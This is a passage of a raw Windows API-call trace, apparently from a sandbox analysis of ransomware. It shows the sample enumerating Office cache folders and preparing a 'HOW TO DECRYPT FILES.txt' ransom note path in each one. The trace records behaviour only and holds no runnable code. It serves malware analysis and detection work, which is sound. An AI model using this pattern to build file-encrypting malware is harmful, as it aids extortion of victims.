Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\") returned="" [0057.910] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.910] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.910] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpString2="PidGenX.dll" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" [0057.910] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x780074, dwReserved1=0x74, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0057.910] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.910] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned="PidGenX.dll" [0057.910] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" [0057.910] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\") returned="" [0057.910] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.910] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.910] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpString2="pkeyconfig-office.xrm-ms" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" [0057.911] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0x780074, dwReserved1=0x74, cFileName="PrjProrWW.msi", cAlternateFileName="PRJPRO~1.MSI")) returned 1 [0057.911] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.911] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned="pkeyconfig-office.xrm-ms" [0057.911] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" [0057.911] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\") returned="" [0057.911] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.911] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.911] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpString2="PrjProrWW.msi" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" [0057.911] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x780074, dwReserved1=0x74, cFileName="PrjProrWW.xml", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0057.911] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.911] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned="PrjProrWW.msi" [0057.911] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" [0057.911] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\") returned="" [0057.912] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.912] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.912] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpString2="PrjProrWW.xml" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" [0057.912] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0x780074, dwReserved1=0x74, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1 [0057.912] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.912] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned="PrjProrWW.xml" [0057.912] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" [0057.912] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\") returned="" [0057.914] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x780074, dwReserved1=0x74, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0057.914] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.914] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned="PrjPrrWW.cab" [0057.914] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" [0057.914] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\") returned="" [0057.914] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x780074, dwReserved1=0x74, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0057.914] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.914] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned="setup.exe" [0057.914] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" [0057.914] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\") returned="" [0057.914] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x780074, dwReserved1=0x74, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0057.915] FindClose (in: hFindFile=0x4f7048 | out: hFindFile=0x4f7048) returned 1 [0057.915] FindNextFileA (in: hFindFile=0x4f7088, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 1 [0057.915] lstrcmpA (lpString1=".", lpString2="{91140000-0057-0000-1000-0000000FF1CE}-C") returned -1 [0057.915] lstrcmpA (lpString1="..", lpString2="{91140000-0057-0000-1000-0000000FF1CE}-C") returned -1 [0057.915] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\*.*") returned="*.*" [0057.915] FindFirstFileA (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x780074, dwReserved1=0x74, cFileName=".", cAlternateFileName="")) returned 0x4f7048 [0057.920] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.920] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.920] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.920] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.920] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0057.920] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.920] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*.*") returned="*.*" [0057.920] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" [0057.921] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\") returned="" [0057.924] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.925] CloseHandle (hObject=0x88) returned 1 [0057.925] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x4f97b8, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0057.925] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.925] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned="Office32WW.msi" [0057.925] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" [0057.925] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\") returned="" [0057.925] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x780074, dwReserved1=0x74, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0057.925] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.926] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned="Office32WW.xml" [0057.926] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" [0057.926] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\") returned="" [0057.926] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x780074, dwReserved1=0x74, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0057.926] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.926] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned="ose.exe" [0057.926] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" [0057.926] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\") returned="" [0057.926] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x780074, dwReserved1=0x74, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0057.926] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.926] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned="osetup.dll" [0057.927] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" [0057.927] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\") returned="" [0057.927] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x780074, dwReserved1=0x74, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0057.927] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.927] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned="OWOW32WW.cab" [0057.927] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" [0057.927] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\") returned="" [0057.927] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x780074, dwReserved1=0x74, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0057.927] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.927] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned="PidGenX.dll" [0057.927] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" [0057.927] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\") returned="" [0057.928] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x780074, dwReserved1=0x74, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0057.928] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, 